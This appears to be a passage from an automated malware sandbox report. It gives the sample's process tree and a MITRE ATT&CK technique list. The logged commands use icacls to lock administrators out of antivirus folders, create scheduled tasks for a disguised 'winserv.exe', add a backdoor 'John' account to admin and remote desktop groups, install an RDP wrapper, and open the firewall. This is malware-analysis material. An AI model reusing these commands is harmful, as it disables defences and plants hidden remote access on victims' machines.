        icacls "C:\Program Files\Malwarebytes" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4628
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\COMODO" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4916
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Enigma Software Group" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:748
- - C:\ProgramData\RealtekHD\taskhost.exe
    "C:\ProgramData\RealtekHD\taskhost.exe"
    3⤵
    PID:2164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ipconfig /flushdns
      4⤵
      PID:2440
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /flushdns
        5⤵
        Gathers network information
        
        PID:2444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c gpupdate /force
      4⤵
      Executes dropped EXE
      PID:4816
    - - C:\Windows\system32\gpupdate.exe
        
        gpupdate /force
        5⤵
        
        PID:2916
  - - C:\ProgramData\Setup\Packs.exe
      C:\ProgramData\Setup\Packs.exe -ppidar
      4⤵
      PID:2572
- C:\ProgramData\Setup\svchost.exe
  C:/ProgramData/Setup/svchost.exe -pnaxui
  2⤵
  PID:4024
- - C:\ProgramData\Setup\IP.exe
    "C:\ProgramData\Setup\IP.exe"
    3⤵
    PID:1164
- - C:\ProgramData\Setup\smss.exe
    "C:\ProgramData\Setup\smss.exe"
    3⤵
    PID:212
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3932
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3884
  - - C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      4⤵
      PID:4300
    - - C:\ProgramData\Windows Tasks Service\winserv.exe
        
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        5⤵
        
        PID:5092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      4⤵
      PID:1636
    - - C:\Windows\system32\net.exe
        
        net user John 12345 /add
        5⤵
        
        PID:3136
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user John 12345 /add
        6⤵
        
        PID:4868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
      4⤵
      PID:1608
    - - C:\Windows\system32\net.exe
        
        net localgroup "Администраторы" John /add
        5⤵
        
        PID:4440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
      4⤵
      PID:4040
    - - C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного управления" john /add" John /add
        5⤵
        
        PID:4400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
      4⤵
      PID:4716
    - - C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного рабочего стола" John /add
        5⤵
        
        PID:3472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
      4⤵
      PID:944
    - - C:\Windows\system32\net.exe
        
        net localgroup "Administrators" John /add
        5⤵
        
        PID:4828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
      4⤵
      PID:3784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
      4⤵
      PID:5064
    - - C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" john /add
        5⤵
        
        PID:4660
  - - C:\ProgramData\RDPWinst.exe
      C:\ProgramData\RDPWinst.exe -i
      4⤵
      PID:1164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Programdata\Microsoft\temp\H.bat
  2⤵
  PID:1640

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
1⤵
- Modifies Windows Firewall
PID:4768

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:4892

C:\Windows\system32\icacls.exe
icacls C:\KVRT2020_Data /deny Администраторы:(OI)(CI)(F)
1⤵
- Modifies file permissions
PID:2352

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Администраторы" John /add
1⤵
PID:4452

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
1⤵
PID:492

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
1⤵
PID:3844

C:\Windows\system32\net.exe
net localgroup "Administradores" John /add
1⤵
PID:3128
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup "Administradores" John /add
  2⤵
  - Executes dropped EXE
  PID:4024

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Administrators" John /add
1⤵
PID:4156

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
1⤵
PID:1480

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
PID:4596

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s TermService
1⤵
PID:488

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:1472

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

Persistence

Account Manipulation

T1098

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Winlogon Helper DLL

T1004

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Account Manipulation

T1098

Discovery

Query Registry

T1012

System Information Discovery